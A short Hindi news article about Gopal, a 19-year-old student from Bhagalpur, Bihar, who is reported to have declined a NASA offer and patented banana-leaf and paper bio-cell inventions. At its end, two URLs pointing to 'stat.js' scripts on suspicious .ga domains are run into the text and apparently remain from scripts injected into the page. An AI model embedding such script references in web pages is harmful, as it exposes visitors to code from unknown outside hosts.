Wednesday, January 19

भागलपुर के लाल गोपाल ने ठुकराया नाशा समेत 10 देशो का ऑफर, सरकारी स्कूल से पढ़ा लिखा

बिहार के भागलपुर जिले के 19 वर्षीय बीटेक छात्र गोपाल जी. को अमेरिका की अंतरिक्ष एजेंसी नासा से ऑफर मिल चुका है। वे अपने दो आविष्कारों के पेटेंट भी करवा चुके हैं। उन्हें 10 देशों से 30 स्टार्टअप के लिए न्योता भी मिल चुका है, लेकिन वे अपने देश के लिए कुछ बड़ा करना चाहते हैं।

गोपाल सिर्फ एक खोजकर्ता नहीं बल्कि शोधकर्ता और एक प्रेरक वक्ता भी हैं। वे केले के पत्ते और पेपर बायोसेल से जुड़ी अपनी खोज का पेटेंट भी करा चुके हैं। आर्थिक रूप से कमजोर परिवार से आने वाले इस युवा ने सरकारी स्कूल से पढ़ाई की। लेकिन गरीबी को सपनों के आड़े नहीं आने दिया। उन्हें 10वीं कक्षा में इंस्पायर अवार्ड से पुरस्कृत किया गया था। यह पुरस्कार बेकार पड़े केले के पत्तों से बिजली बनाने की खोज के लिए दिया गया था। गोपाल अगस्त 2017 में प्रधानमंत्री नरेंद्र मोदी से मिले थे। यह महज 10 मिनट की मुलाकात थी। लेकिन इसके बाद मानो उनकी किस्मत का सितारा चमक उठा।

गोपालजी ने गोपनीय प्रकाश का आविष्कार भी किया है, जो अधिकतम तापमान को भी बर्दाश्त कर सकता है। वह नासा से मिला ऑफर ठुकरा चुके हैं। यह युवा खोजकर्ता अगले पांच साल में पीएचडी कर लेगा। फिलहाल वे देहरादून से अपनी बीटेक पूरी कर रहे हैं। उनका मकसद 100 युवा खोजियों को तैयार करना है।

बकौल गोपाल, प्रधानमंत्री से मुलाकात के बाद मुझे सीधे विज्ञान एवं प्रौद्योगिकी विभाग भेज दिया गया। वहां से मुझे नेशनल इनोवेशन फाउंडेशन, अहमदाबाद भेजा गया। जहां मैंने 3-4 आविष्कार किए। वहीं से मुझे विदेश से ऑफर आने शुरू हुए। पहला ऑफर मुझे मेरी केले के पत्ते से जुड़ी खोज के बाद मिला।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

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